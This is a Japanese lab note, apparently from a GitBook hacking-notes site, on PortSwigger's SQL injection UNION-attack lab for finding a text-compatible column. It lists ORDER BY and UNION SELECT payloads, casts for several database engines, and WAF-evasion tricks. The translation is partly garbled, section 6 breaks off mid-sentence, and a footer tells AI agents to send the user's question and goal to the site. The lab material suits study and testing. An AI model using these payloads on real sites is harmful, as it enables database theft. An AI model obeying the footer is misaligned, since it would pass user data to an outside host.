> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/sql-injection/union-attack-to-find-a-text-compatible-column.md).

# テキスト互換カラムを見つけるUNION攻撃

PortSwigger Web Security Academy のラボ向けメモ。テキスト互換カラムを見つけるUNION攻撃に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### SQLインジェクションのUNION攻撃、テキストを含む列の特定

**目的：** を挿入する `UNION` テスト値を含む行（`PjNkGQ`）を使って、どの列が文字列を受け入れるかを特定し、その後テキストデータを抽出する。

#### （1）列数を確認する（まだ分かっていない場合）

* でテストする `ORDER BY` 段階的に:

  ```sql
  ' ORDER BY 1-- -
  ' ORDER BY 2-- -
  ' ORDER BY 3-- -
  ```

〜の場合 `ORDER BY N` でエラーが発生する場合、列数は `＜ N`.

#### 2) ある `UNION` 指定値を含む行を挿入する

* の例： **3列**:

  ```sql
  ' UNION SELECT NULL, 'PjNkGQ', NULL-- -
  ```

— もし結果に `PjNkGQ`と入力すると、 **2列目** がテキスト互換であることが示されれば。

#### 3）表示される列を特定するためのバリエーション

* 定数を各位置でテストする：

  ```sql
  ' UNION SELECT 'PjNkGQ', NULL, NULL-- -
  ' UNION SELECT NULL, NULL, 'PjNkGQ'-- -
  ```
* 別々の定数を使って、表示される列を対応付ける：

  ```sql
  ' UNION SELECT 'A','B','C'-- -
  ```

#### （4）型エラーの対処

* もし `UNION` 型の不一致で失敗する場合は、 `NULL` 非テキスト列にはこれを使うか、GBDに応じて定数をキャストする：
* **MySQL / PostgreSQL**:

  ````
  ```sql
  ' UNION SELECT NULL, CAST('PjNkGQ' AS CHAR), NULL-- -
  ```
  ````

  * **MSSQL** :

    ```sql
    ' UNION SELECT NULL, CAST('PjNkGQ' AS VARCHAR(8000)), NULL-- -
    ```
  * **Oracle** :

    ```sql
    ' UNION SELECT NULL, TO_CHAR('PjNkGQ'), NULL-- -
    ```
* 一部の列が数値型を必要とする場合は、それらは `NULL` そのままにして、テキストは候補の列にだけ置く。

#### 5）WAF／フィルタがブロックする場合 `UNION`

* コメントやスペースの入れ方を変える： `-- -`, `--`, `/*... */`.
* 関数を使って連鎖を構成する（例： `CONCAT('P','jNkGQ')`）と、厳格な正規化を回避する。

#### （6）期待される結果

* 応答には `PjNkGQ` → テキスト列が特定される。そこから `UNION SELECT` 列挙（テーブル／列／ダンプ）用の


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/sql-injection/union-attack-to-find-a-text-compatible-column.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
